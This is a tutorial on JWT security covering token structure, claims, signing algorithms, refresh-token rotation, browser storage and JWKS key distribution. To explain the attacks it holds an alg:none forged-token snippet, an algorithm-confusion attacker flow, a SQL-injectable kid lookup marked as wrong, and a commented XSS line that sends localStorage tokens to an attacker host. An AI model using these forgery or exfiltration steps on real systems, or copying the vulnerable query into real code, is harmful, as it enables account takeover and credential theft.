JWT JSON Web Token Security: RS256, Claims, Refresh Tokens & Vulnerabilities
Last updated:
A JWT (JSON Web Token) is three Base64URL-encoded JSON segments separated by dots: header.payload.signature — the header declares the algorithm (alg: "RS256"), the payload carries claims (sub, iat, exp, iss), and the signature proves authenticity. Use RS256 (asymmetric RSA) in production — the private key signs tokens server-side, and any service can verify with the public key without accessing the secret. HS256 (symmetric HMAC) requires every verifying service to share the secret — a breach of one service compromises all. This guide covers the three-part JWT structure, standard claims (iss, sub, aud, exp, nbf, iat, jti), RS256 vs HS256 algorithm choice, short-lived access tokens + long-lived refresh tokens, the none algorithm vulnerability, and secure storage (httpOnly cookie vs localStorage).
JWT Structure: Header, Payload, and Signature
A JWT is three dot-separated Base64URL-encoded segments. You can decode a JWT and inspect each part. The header JSON declares the token type and signing algorithm. The payload JSON carries the claims. The signature is computed over base64url(header) + "." + base64url(payload) using the algorithm specified in the header.
// Full JWT (line-broken for readability — real tokens have no line breaks)
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleS0yMDI2LTAxIn0
.
eyJzdWIiOiJ1c2VyXzEyMyIsImlzcyI6Imh0dHBzOi8vYXV0aC5leGFtcGxlLmNvbSIsImF1ZCI6Imh0dHBzOi8vYXBpLmV4YW1wbGUuY29tIiwiZXhwIjoxNzQ4MDAwMDAwLCJpYXQiOjE3NDc5OTkxMDAsImp0aSI6InV1aWQtYWJjZC0xMjM0In0
.
<RSA-signature-bytes-base64url-encoded>
// ── Decoded header ────────────────────────────────────────────────
{
"alg": "RS256", // signing algorithm — RS256 | HS256 | ES256 | none (never!)
"typ": "JWT", // token type
"kid": "key-2026-01" // key ID — matches a key in the JWKS endpoint
}
// ── Decoded payload (claims) ──────────────────────────────────────
{
"sub": "user_123", // subject (user identifier)
"iss": "https://auth.example.com", // issuer (who created the token)
"aud": "https://api.example.com", // audience (intended recipient)
"exp": 1748000000, // expiry: Unix timestamp
"iat": 1747999100, // issued at: Unix timestamp
"jti": "uuid-abcd-1234", // JWT ID: unique token identifier
"role": "admin", // custom application claim
"email": "alice@example.com" // custom claim
}
// ── Signature construction (RS256) ────────────────────────────────
const signingInput = base64url(header) + "." + base64url(payload);
const signature = rsaSign(signingInput, privateKey, "SHA256");
const jwt = signingInput + "." + base64url(signature);
// ── Verification (RS256) ──────────────────────────────────────────
const [encodedHeader, encodedPayload, encodedSignature] = token.split(".");
const isValid = rsaVerify(
encodedHeader + "." + encodedPayload, // the signed data
base64urlDecode(encodedSignature), // the signature to check
publicKey // from JWKS endpoint
);
// ── Node.js: create and verify (jsonwebtoken library) ─────────────
import jwt from "jsonwebtoken";
import { readFileSync } from "fs";
const privateKey = readFileSync("private.pem");
const publicKey = readFileSync("public.pem");
// Sign
const token = jwt.sign(
{ sub: "user_123", role: "admin", email: "alice@example.com" },
privateKey,
{ algorithm: "RS256", expiresIn: "15m", issuer: "https://auth.example.com" }
);
// Verify — always pin the algorithm
const payload = jwt.verify(token, publicKey, {
algorithms: ["RS256"], // never omit this — prevents alg:none attacks
issuer: "https://auth.example.com",
audience: "https://api.example.com",
});
console.log(payload.sub); // "user_123"Base64URL encoding is URL-safe Base64 — it replaces + with - and / with _, and omits padding = characters, making JWTs safe to include in URLs and HTTP headers without further encoding. The payload is encoded, not encrypted — anyone who holds the token can read the claims by decoding the Base64URL segments. Never put secrets, passwords, or sensitive PII in a JWT payload unless you use JWE (JSON Web Encryption) in addition to JWS (JSON Web Signature).
Standard Claims: iss, sub, aud, exp, nbf, iat, jti
RFC 7519 defines seven registered claim names. They are not required, but when present they must follow the specification. Always include exp, iss, and sub at minimum. Include jti when you need token revocation capability.
// ── All seven registered claims ──────────────────────────────────
{
"iss": "https://auth.example.com", // Issuer: identifies who issued the token
// Verifiers must check this matches the expected issuer
"sub": "user_123", // Subject: identifies who the token is about
// Typically the user ID in your database
"aud": "https://api.example.com", // Audience: identifies the intended recipient(s)
// Can be an array: ["https://api.example.com", "https://admin.example.com"]
// Verifiers must check they are in the audience
"exp": 1748000000, // Expiration Time: Unix timestamp (seconds since epoch)
// Reject tokens with exp in the past
// Recommended: now + 900 (15 minutes) for access tokens
"nbf": 1747999100, // Not Before: Unix timestamp
// Reject tokens used before this time
// Useful for scheduled tokens or delayed activation
"iat": 1747999100, // Issued At: Unix timestamp of token creation
// Used for age-based validation: reject tokens older than X seconds
"jti": "01HZ3K2M8N9P4Q5R6S7T8U9V0W" // JWT ID: unique identifier for this specific token
// Use a UUID or ULID — enables token revocation via denylist
}
// ── Node.js: validate all claims ──────────────────────────────────
import jwt from "jsonwebtoken";
function verifyAccessToken(token: string, publicKey: string) {
const now = Math.floor(Date.now() / 1000);
const payload = jwt.verify(token, publicKey, {
algorithms: ["RS256"],
issuer: "https://auth.example.com",
audience: "https://api.example.com",
clockTolerance: 30, // allow 30-second clock skew between servers
});
// jwt.verify() already checked exp and nbf — these are for custom logic
if (typeof payload === "string") throw new Error("Unexpected string payload");
// Check iat to reject tokens issued before a security event (password reset, etc.)
const userTokenVersion = getUserTokenVersion(payload.sub as string);
if ((payload.iat as number) < userTokenVersion.issuedAfter) {
throw new Error("Token predates last security event — re-authentication required");
}
return payload;
}
// ── Python: manual claim validation ──────────────────────────────
import jwt # PyJWT library
def verify_token(token: str, public_key: str) -> dict:
payload = jwt.decode(
token,
public_key,
algorithms=["RS256"], # allowlist — never omit
issuer="https://auth.example.com",
audience="https://api.example.com",
options={
"require": ["exp", "iat", "sub", "iss"], # enforce required claims
"verify_exp": True,
"verify_iat": True,
}
)
return payloadThe jti claim is critical for revocation: generate a UUID or ULID for each token and store it in Redis with a TTL equal to the token expiry. On verification, check that the jti is not in a revocation set. This adds one Redis lookup per request but enables immediate token invalidation — useful for logout, password change, and suspected compromise scenarios. The aud claim prevents token substitution attacks: a token issued for api.example.com cannot be used against admin.example.com even if both services share the same public key.
RS256 vs HS256: Choosing a Signing Algorithm
The signing algorithm is the most consequential security decision in JWT design. RS256 and HS256 have fundamentally different trust models: RS256 distributes trust via public keys, while HS256 requires secret-sharing. For JSON security in production systems with multiple services, RS256 is the correct default.
// ── RS256: asymmetric RSA + SHA-256 ──────────────────────────────
//
// Auth server (has private key):
// - Signs tokens with private key on login
// - Publishes public key at /.well-known/jwks.json
// - Rotates private key regularly — old public keys remain in JWKS
// until all previously-issued tokens expire
//
// API services (have public key only):
// - Fetch public key from JWKS endpoint (cache with 1-hour TTL)
// - Verify tokens offline — no auth server round-trip per request
// - A compromised API service cannot forge new tokens
//
// Generate RSA key pair (Node.js)
import { generateKeyPairSync } from "crypto";
const { privateKey, publicKey } = generateKeyPairSync("rsa", {
modulusLength: 2048, // minimum 2048 bits; 4096 for high-security
publicKeyEncoding: { type: "spki", format: "pem" },
privateKeyEncoding: { type: "pkcs8", format: "pem" },
});
// ── HS256: symmetric HMAC-SHA256 ─────────────────────────────────
//
// Single shared secret — every service that verifies tokens
// must know the secret. A breach of any service exposes the secret
// and allows forging tokens for all services.
//
// Use only when:
// - Single service issues AND verifies all tokens
// - Secret can be delivered and rotated securely (environment variable)
// - No third-party services need to verify your tokens
import crypto from "crypto";
const secret = crypto.randomBytes(64).toString("hex"); // 512-bit secret
const token = jwt.sign({ sub: "user_123" }, secret, { algorithm: "HS256", expiresIn: "15m" });
const payload = jwt.verify(token, secret, { algorithms: ["HS256"] });
// ── Algorithm comparison ──────────────────────────────────────────
//
// Feature RS256 HS256
// ───────────────── ────────────────────── ──────────────────────
// Key type Asymmetric RSA pair Symmetric shared secret
// Verification key Public key (shareable) Secret (must stay secret)
// Multi-service Yes — share public key No — must share secret
// Key rotation JWKS endpoint (online) Coordinated restart
// Token size Larger (~1.5KB) Smaller (~500B)
// CPU cost Higher (RSA verify) Lower (HMAC)
// Breach impact Service cannot forge Secret exposed = game over
//
// ── ES256 (ECDSA + SHA-256): best of both worlds ─────────────────
// Asymmetric (like RS256) but smaller keys and faster signing
// Use P-256 curve — also known as secp256r1 or prime256v1
const { privateKey: ecPrivate, publicKey: ecPublic } = generateKeyPairSync("ec", {
namedCurve: "P-256",
publicKeyEncoding: { type: "spki", format: "pem" },
privateKeyEncoding: { type: "pkcs8", format: "pem" },
});
const ecToken = jwt.sign({ sub: "user_123" }, ecPrivate, {
algorithm: "ES256",
expiresIn: "15m",
});ES256 (ECDSA with P-256 curve) is increasingly preferred over RS256 in new systems: it produces smaller signatures (64 bytes vs 256 bytes for 2048-bit RSA), signs and verifies faster, and provides equivalent security with shorter keys. The JWKS endpoint for ES256 keys uses kty: "EC" with crv: "P-256" key parameters. Avoid RS512 and HS512 unless you have a compliance requirement — they compute over the same security boundary as RS256/HS256 with more CPU overhead.
Access Tokens and Refresh Token Rotation
The standard pattern for web and mobile authentication uses two tokens with different lifetimes: a short-lived JWT access token and a long-lived opaque refresh token. Access tokens are sent with every API request; refresh tokens are sent only to the token endpoint. Implementing refresh token rotation — issuing a new refresh token on every use and invalidating the old one — detects token theft automatically.
// ── Token issuance on login ───────────────────────────────────────
import { randomUUID } from "crypto";
import jwt from "jsonwebtoken";
async function issueTokens(userId: string, privateKey: string) {
const now = Math.floor(Date.now() / 1000);
// Access token: short-lived JWT (15 minutes)
const accessToken = jwt.sign(
{
sub: userId,
iss: "https://auth.example.com",
aud: "https://api.example.com",
iat: now,
exp: now + 900, // 15 minutes
jti: randomUUID(), // unique ID for revocation
},
privateKey,
{ algorithm: "RS256" }
);
// Refresh token: long-lived opaque random value (not a JWT)
const refreshTokenId = randomUUID();
const refreshToken = randomUUID(); // random bytes — not a JWT
// Store refresh token hash in database (never store plaintext)
await db.refreshTokens.create({
id: refreshTokenId,
tokenHash: hashToken(refreshToken), // bcrypt or SHA-256 hash
userId,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000), // 7 days
family: refreshTokenId, // token family for revocation chains
});
return { accessToken, refreshToken };
}
// ── Refresh token rotation ────────────────────────────────────────
async function rotateRefreshToken(incomingRefreshToken: string, privateKey: string) {
const tokenHash = hashToken(incomingRefreshToken);
const stored = await db.refreshTokens.findByHash(tokenHash);
if (!stored) {
// Token not found — could be replay attack or invalid token
throw new Error("Invalid refresh token");
}
if (stored.revokedAt) {
// Token already used — possible theft! Revoke entire family
await db.refreshTokens.revokeFamily(stored.family);
throw new Error("Refresh token reuse detected — all sessions revoked");
}
if (stored.expiresAt < new Date()) {
throw new Error("Refresh token expired — re-authentication required");
}
// Revoke the used refresh token
await db.refreshTokens.revoke(stored.id);
// Issue new token pair
return issueTokens(stored.userId, privateKey);
}
// ── Client-side: proactive access token refresh ───────────────────
class ApiClient {
private accessToken: string | null = null;
private tokenExpiry: number = 0;
async fetchWithAuth(url: string, options: RequestInit = {}) {
// Refresh 60 seconds before expiry (proactive)
if (!this.accessToken || Date.now() / 1000 > this.tokenExpiry - 60) {
await this.refreshAccessToken();
}
return fetch(url, {
...options,
headers: {
...options.headers,
Authorization: `Bearer ${this.accessToken}`,
},
});
}
private async refreshAccessToken() {
const response = await fetch("/auth/refresh", {
method: "POST",
credentials: "include", // send httpOnly refresh token cookie
});
const { accessToken, expiresIn } = await response.json();
this.accessToken = accessToken;
this.tokenExpiry = Math.floor(Date.now() / 1000) + expiresIn;
}
}Token family revocation is the critical defence against refresh token theft: if an already-used refresh token is presented again, it means either the original or the thief is replaying it. Revoking the entire family — all refresh tokens associated with that login session — terminates the attacker's access while requiring the legitimate user to re-authenticate. The minor inconvenience of re-login is far preferable to an ongoing compromised session.
The alg:none Vulnerability and Algorithm Confusion Attacks
The alg:none vulnerability and algorithm confusion attacks are the most severe JWT security flaws — both allow forging valid-looking tokens without possessing the signing key. See JSON security for broader context on API token security.
// ── alg:none attack: how it works ────────────────────────────────
//
// Vulnerable libraries accept "alg": "none" and skip signature verification.
// Attacker constructs a token with any payload they want:
const fakeHeader = Buffer.from(JSON.stringify({ alg: "none", typ: "JWT" })).toString("base64url");
const fakePayload = Buffer.from(JSON.stringify({
sub: "admin",
role: "superuser",
exp: Math.floor(Date.now() / 1000) + 86400,
})).toString("base64url");
const forgedToken = fakeHeader + "." + fakePayload + "."; // empty signature
// Vulnerable server accepts this as a valid token for "admin"
// ── Fix: always pin the algorithm allowlist ───────────────────────
// WRONG — algorithm not pinned:
const payload = jwt.verify(token, publicKey); // accepts any alg, including "none"
// CORRECT — pin to RS256 only:
const payload = jwt.verify(token, publicKey, { algorithms: ["RS256"] });
// In Python (PyJWT):
payload = jwt.decode(token, public_key, algorithms=["RS256"]) # correct
payload = jwt.decode(token, public_key, algorithms=jwt.algorithms.get_default_algorithms()) # WRONG
// ── Algorithm confusion (RS256 → HS256) ──────────────────────────
//
// If the server uses RS256 but the library accepts multiple algorithms,
// an attacker sets "alg": "HS256" and signs the token with the server's
// PUBLIC key as the HMAC secret (the public key is, well, public).
// A vulnerable library verifying with the public key for HS256
// computes HMAC with it and checks against the attacker-provided signature —
// which the attacker computed with the same public key. Match!
// Attacker flow:
// 1. Fetch public key from https://auth.example.com/.well-known/jwks.json
// 2. Build header: { alg: "HS256", typ: "JWT" }
// 3. Build payload: { sub: "admin", ... }
// 4. Sign: HMAC-SHA256(header.payload, publicKeyPEM)
// 5. Send token — confused library verifies HMAC with public key = passes
// Fix: never accept multiple algorithm types in the same verify() call:
// WRONG:
jwt.verify(token, key, { algorithms: ["RS256", "HS256"] });
// CORRECT:
jwt.verify(token, publicKey, { algorithms: ["RS256"] }); // one algorithm only
// ── Header injection: kid (Key ID) manipulation ───────────────────
//
// The "kid" claim tells the verifier which key to use.
// If your code fetches the key based on kid without validation:
async function getKey(kid: string) {
// WRONG: kid is user-controlled — SQL injection, path traversal, SSRF
const key = await db.query(`SELECT key FROM signing_keys WHERE id = '${kid}'`);
return key;
}
// CORRECT: validate kid against allowlist before lookup
const ALLOWED_KEY_IDS = new Set(["key-2026-01", "key-2026-02"]);
async function getKeySecure(kid: string) {
if (!ALLOWED_KEY_IDS.has(kid)) throw new Error("Unknown key ID");
return keyStore.get(kid);
}Kid (Key ID) injection is a critical but underappreciated attack: if the server fetches signing keys from a database using the unvalidated kid value from the JWT header, it opens SQL injection and SSRF vulnerabilities. An attacker can point kid at a URL they control and serve a public key that matches their own private key, forging valid tokens. Always validate the kid against a pre-loaded allowlist of known key IDs before any key lookup.
Secure Storage: httpOnly Cookies vs localStorage
Where you store a JWT in the browser determines your attack surface. The choice between httpOnly cookies and Web Storage (localStorage/sessionStorage) is not a matter of preference — it is a security architecture decision with clear tradeoffs in XSS and CSRF exposure.
// ── httpOnly cookie: recommended for web apps ────────────────────
//
// Server sets the cookie — JavaScript cannot read or write it.
// XSS attacks cannot steal the token even if they run arbitrary JS.
// SameSite=Strict blocks CSRF: browser won't send cookie cross-origin.
// Express.js: set access token as httpOnly cookie on login
res.cookie("access_token", accessToken, {
httpOnly: true, // inaccessible to JS (prevents XSS theft)
secure: true, // HTTPS only
sameSite: "strict", // blocks CSRF (cross-site requests won't include cookie)
path: "/",
maxAge: 15 * 60 * 1000, // 15 minutes in milliseconds
});
// Refresh token cookie: longer TTL, restricted path
res.cookie("refresh_token", refreshToken, {
httpOnly: true,
secure: true,
sameSite: "strict",
path: "/auth/refresh", // restrict to refresh endpoint only
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
});
// ── localStorage: NOT recommended ────────────────────────────────
//
// Any JS on your page — including injected by XSS — can read localStorage.
// A single XSS payload can exfiltrate all tokens:
// fetch("https://attacker.com/steal?token=" + localStorage.getItem("access_token"))
//
// If you must use localStorage (e.g., cross-subdomain auth, service workers):
// - Accept the XSS risk and mitigate with strict CSP
// - Keep access tokens short-lived (5 minutes max)
// - Never store refresh tokens in localStorage
// In JavaScript (only do this if you understand the XSS risk):
localStorage.setItem("access_token", accessToken);
const token = localStorage.getItem("access_token");
// Attach to every request manually:
fetch("/api/resource", {
headers: { Authorization: `Bearer ${token}` },
});
// ── Hybrid: httpOnly for refresh, in-memory for access ───────────
//
// Best-of-both approach for SPAs:
// - Access token: stored in JavaScript memory (React state, Zustand store)
// Survives page navigation but NOT page refresh
// - Refresh token: stored in httpOnly cookie
// On page load / after refresh, call /auth/refresh to get a new access token
// React example: store access token in memory
function useAuth() {
const [accessToken, setAccessToken] = useState<string | null>(null);
// On mount: fetch a new access token using the httpOnly refresh cookie
useEffect(() => {
fetch("/auth/refresh", { method: "POST", credentials: "include" })
.then(r => r.json())
.then(({ accessToken }) => setAccessToken(accessToken))
.catch(() => {/* redirect to login */});
}, []);
return { accessToken };
}
// ── Content Security Policy: defence-in-depth ────────────────────
// Strict CSP limits damage even if XSS occurs
// Add to server responses:
// Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'The hybrid in-memory pattern — access token in React/Zustand state, refresh token in httpOnly cookie — provides the best security/usability tradeoff for SPAs. The access token is lost on page refresh (requiring a silent refresh call), but cannot be exfiltrated by XSS. The refresh token is never accessible to JavaScript at all. This pattern requires CORS credentials support (credentials: "include" on fetch calls) and appropriate Access-Control-Allow-Credentials: true headers on your auth server.
JWKS Endpoint: Public Key Distribution
The JSON Web Key Set (JWKS) endpoint at /.well-known/jwks.json exposes the public keys used to verify tokens. It enables seamless key rotation: add a new key, start signing with it, and verifiers that refresh from the JWKS endpoint will automatically trust tokens signed with the new key — no coordinated restarts required. This is how major identity providers (Auth0, Okta, Google) distribute their signing keys. See the JSON API design guide for endpoint conventions.
// ── JWKS endpoint response format ────────────────────────────────
// GET https://auth.example.com/.well-known/jwks.json
{
"keys": [
{
"kty": "RSA", // key type
"use": "sig", // usage: sig (signature) or enc (encryption)
"alg": "RS256", // algorithm
"kid": "key-2026-01", // key ID — matches JWT header "kid"
"n": "<base64url-modulus>", // RSA public key modulus
"e": "AQAB" // RSA public exponent (65537)
},
{
// Previous key — kept until all tokens signed with it expire
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "key-2025-12",
"n": "<base64url-modulus>",
"e": "AQAB"
}
]
}
// ── Node.js: serve JWKS endpoint ─────────────────────────────────
import express from "express";
import { createPublicKey } from "crypto";
import jwkToPem from "jwk-to-pem";
app.get("/.well-known/jwks.json", (req, res) => {
res.setHeader("Cache-Control", "public, max-age=3600"); // cache 1 hour
res.json({
keys: activeKeyPairs.map(({ kid, publicKeyPem }) => {
const publicKey = createPublicKey(publicKeyPem);
const jwk = publicKey.export({ format: "jwk" });
return { ...jwk, kid, use: "sig", alg: "RS256" };
}),
});
});
// ── Node.js: verify JWT using JWKS (consumer side) ────────────────
import jwksClient from "jwks-rsa";
import jwt from "jsonwebtoken";
const client = jwksClient({
jwksUri: "https://auth.example.com/.well-known/jwks.json",
cache: true,
cacheMaxEntries: 10,
cacheMaxAge: 60 * 60 * 1000, // 1 hour cache
rateLimit: true,
jwksRequestsPerMinute: 5, // limit JWKS requests to prevent DDoS
});
function getPublicKey(header: jwt.JwtHeader, callback: jwt.SigningKeyCallback) {
client.getSigningKey(header.kid, (err, key) => {
callback(err, key?.getPublicKey());
});
}
function verifyToken(token: string): Promise<jwt.JwtPayload> {
return new Promise((resolve, reject) => {
jwt.verify(
token,
getPublicKey,
{ algorithms: ["RS256"], issuer: "https://auth.example.com" },
(err, decoded) => {
if (err) return reject(err);
resolve(decoded as jwt.JwtPayload);
}
);
});
}
// ── Key rotation procedure ────────────────────────────────────────
// 1. Generate new key pair
// 2. Add new public key to JWKS endpoint (alongside old keys)
// 3. Update auth server to sign NEW tokens with new private key
// (Old key remains in JWKS for verifying tokens signed with it)
// 4. Wait for all tokens signed with old key to expire (at least max exp window)
// 5. Remove old key from JWKS endpointCache the JWKS response aggressively — one hour is standard — but implement a fallback: if verification fails with a kid not found in the cache, fetch JWKS once more before rejecting the token. This handles the brief window after a key rotation where new tokens reference a kid not yet in the local cache. Implement rate limiting on JWKS fetches (the jwks-rsa library does this automatically) to prevent a degenerate attack where an attacker presents tokens with random kid values, causing the verifier to make JWKS requests on every verification.
Key Terms
- JWT (JSON Web Token)
- A compact, URL-safe token format defined in RFC 7519 consisting of three Base64URL-encoded JSON segments joined by dots:
header.payload.signature. The header declares the token type and signing algorithm. The payload carries claims — assertions about the subject. The signature is computed over the header and payload using the declared algorithm and signing key. JWTs are stateless — verification requires only the public key (RS256) or shared secret (HS256), with no database lookup. The payload is encoded, not encrypted: anyone holding the token can read the claims. JWTs are widely used for API authentication, single sign-on, and inter-service authorization. - claim
- A key-value pair in the JWT payload that asserts a fact about the subject or the token itself. RFC 7519 defines seven registered claim names with specified semantics:
iss(issuer),sub(subject),aud(audience),exp(expiration time),nbf(not before),iat(issued at), andjti(JWT ID). Public claims are registered in the IANA JWT Claims Registry. Private claims are custom, application-specific claims agreed upon between the token issuer and consumer. Claims should be minimal — include only what verifiers need, since the entire payload is readable by anyone who holds the token. - RS256
- An asymmetric JWT signing algorithm combining RSA public-key cryptography with the SHA-256 hash function, defined in RFC 7518. The authorization server signs tokens with its RSA private key; any service can verify with the corresponding RSA public key. The private key never leaves the authorization server, so a breach of a resource server cannot enable token forgery. Public keys are distributed via JWKS endpoints and can be rotated without coordinating secret updates across services. RS256 is the recommended default for production systems with multiple microservices or third-party integrations. Signature size is 256 bytes for 2048-bit keys.
- HS256
- A symmetric JWT signing algorithm using HMAC with the SHA-256 hash function, defined in RFC 7518. Both the token issuer and every verifier must share the same secret key. A breach of any service that holds the secret allows forging tokens for all services — the security model does not scale to multi-service architectures. HS256 produces smaller signatures (32 bytes) and requires less CPU than RS256, making it suitable for single-service deployments where the issuer and verifier are the same application. Key rotation requires updating the secret in all services simultaneously. Never use HS256 when any external or third-party service needs to verify your tokens.
- refresh token
- A long-lived credential (hours to weeks) used to obtain new short-lived access tokens without requiring user re-authentication. Refresh tokens are typically opaque random values (not JWTs) stored server-side so they can be revoked. They are transmitted only to the token endpoint, not to every API — reducing exposure. Refresh token rotation issues a new refresh token on every use and invalidates the old one, enabling detection of token theft: if a previously-used refresh token is presented again, the server revokes the entire token family and forces re-authentication. Refresh tokens should be stored in httpOnly cookies (web) or encrypted secure storage (mobile).
- JWKS (JSON Web Key Set)
- A JSON document defined in RFC 7517 containing an array of JSON Web Keys (JWKs) — public key representations in a standardized format. Served at a well-known URL (typically
/.well-known/jwks.json), the JWKS endpoint enables JWT verifiers to discover and cache the public keys needed to verify tokens. Each key in the set includes akid(Key ID) that corresponds to thekidheader in JWTs, enabling key selection when multiple keys are active simultaneously. JWKS supports key rotation: add new keys, start signing with them, and verifiers that poll the endpoint automatically trust new tokens. Thektyclaim identifies the key type (RSA,EC), anduse: "sig"indicates the key is for signature verification.
FAQ
What is a JWT and how does it work?
A JWT (JSON Web Token) is a compact token made of three Base64URL-encoded JSON segments separated by dots: header.payload.signature. The header declares the signing algorithm (alg: "RS256") and token type. The payload carries claims — facts about the user like sub (user ID), exp (expiry), and iss (issuer). The signature is computed over the header and payload using the signing key, proving the token was not tampered with. Verification requires only the public key (for RS256) or shared secret (for HS256) — no database lookup — making JWTs stateless and horizontally scalable. The payload is encoded, not encrypted, so keep sensitive data out of JWT claims unless you use JWE (JSON Web Encryption).
How do I verify a JWT?
Four steps: (1) Split on dots to get header, payload, and signature. (2) Decode the header and read the alg claim — reject any algorithm not in your explicit allowlist (never accept none). (3) Verify the signature by recomputing it over base64url(header).base64url(payload) using the appropriate key and checking it matches the provided signature using a constant-time comparison. (4) Validate claims: exp must be in the future, iss must match the expected issuer, and aud must include your service. Use a well-audited library (node-jsonwebtoken, PyJWT, golang-jwt) — never implement JWT verification from scratch. Always pass an explicit algorithms allowlist to the verify function.
What is the difference between RS256 and HS256?
RS256 is asymmetric: the auth server signs tokens with a private key, and any service verifies with the public key. The private key never leaves the auth server, so a compromised resource service cannot forge tokens. HS256 is symmetric: every service that verifies tokens must share the same secret — a single service breach exposes the secret to all. Use RS256 for any multi-service or multi-tenant architecture. Use HS256 only for single-service applications where you control both the issuer and all verifiers. RS256 also supports seamless key rotation via JWKS endpoints. HS256 token size is smaller (32-byte signature vs 256-byte RSA signature), but the security difference is decisive for production systems.
How long should a JWT access token last?
15 minutes is the recommended default for access tokens. Short expiry limits exposure if a token is intercepted — a stolen 15-minute token becomes useless quickly. The usability cost (frequent expiry) is solved by refresh tokens: the client silently fetches new access tokens using the long-lived refresh token without user interaction. For high-security applications (banking, medical), use 5 minutes. For low-risk applications, 1 hour is acceptable. Never issue access tokens without an exp claim — they cannot be invalidated without adding server-side state. Store the exp value client-side and refresh proactively 60 seconds before expiry to avoid request failures during the refresh.
What is a refresh token?
A refresh token is a long-lived credential (typically 7–30 days) that the client uses to obtain new short-lived access tokens. Unlike access tokens, refresh tokens are opaque random values stored server-side so they can be revoked. They are only sent to the /auth/refresh endpoint — never to API endpoints — minimizing exposure. Implement refresh token rotation: each use issues a new refresh token and revokes the old one. If a previously-used refresh token is presented (indicating possible theft), revoke all tokens in the token family and force re-authentication. Store refresh tokens in httpOnly cookies (web) or encrypted storage (mobile) — never in localStorage or sessionStorage.
How do I store JWTs securely in a browser?
Store JWTs in httpOnly cookies, not in localStorage or sessionStorage. httpOnly cookies are inaccessible to JavaScript — XSS attacks cannot steal them even with arbitrary script execution. Set the cookie with HttpOnly (no JS access), Secure (HTTPS only), and SameSite=Strict (blocks CSRF by preventing cross-origin cookie inclusion). The full cookie header: Set-Cookie: access_token=<jwt>; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900. For SPAs that need claim data client-side (e.g., to display username), store only the non-sensitive claim values in a separate readable cookie or application state — the token signature itself never needs to be client-accessible.
What is the JWT none algorithm vulnerability?
The alg: "none" vulnerability allows an attacker to forge tokens with arbitrary claims by setting the algorithm to "none" and providing an empty signature. Vulnerable JWT libraries skip signature verification when alg is "none", accepting the forged token as valid. The fix is to always specify an explicit algorithm allowlist in your verify call and reject any token whose alg header does not match: jwt.verify(token, key, { algorithms: ["RS256"] }). Algorithm confusion is a related attack: an attacker changes a token's algfrom RS256 to HS256 and signs it with the server's public key as the HMAC secret — a confused library may accept it. Pin one algorithm type per verify call to prevent both attacks.
How do I invalidate a JWT before it expires?
JWTs are stateless and cannot be invalidated without adding server-side state. Three practical approaches: (1) Denylist: store revoked token JTI values in Redis with a TTL equal to the token expiry. Check the denylist on every verification — one O(1) Redis lookup. Best for targeted revocation (logout, admin action). (2) Short expiry + refresh token revocation: keep access tokens at 15 minutes so they expire quickly; revoke refresh tokens server-side to block renewal. Most scalable — no per-request lookup. (3) User version counter: store a token_version per user in your database; include it in JWT claims. Increment it on password change or logout — tokens with outdated versions are rejected. Combine approaches: short expiry for access tokens, denylist for immediate revocation when required.
Further reading and primary sources
- RFC 7519: JSON Web Token (JWT) — The IETF specification defining JWT structure, registered claims, and validation rules
- RFC 7517: JSON Web Key (JWK) — The IETF specification for JWKS endpoint format and JSON Web Key structure
- JWT Security Best Practices (OWASP) — OWASP JWT security cheat sheet covering algorithm confusion, none vulnerability, and storage
- Auth0: JWT Handbook — Comprehensive guide to JWT structure, algorithms, and security considerations
- PortSwigger: JWT Attacks — In-depth coverage of JWT vulnerabilities including alg:none, algorithm confusion, and kid injection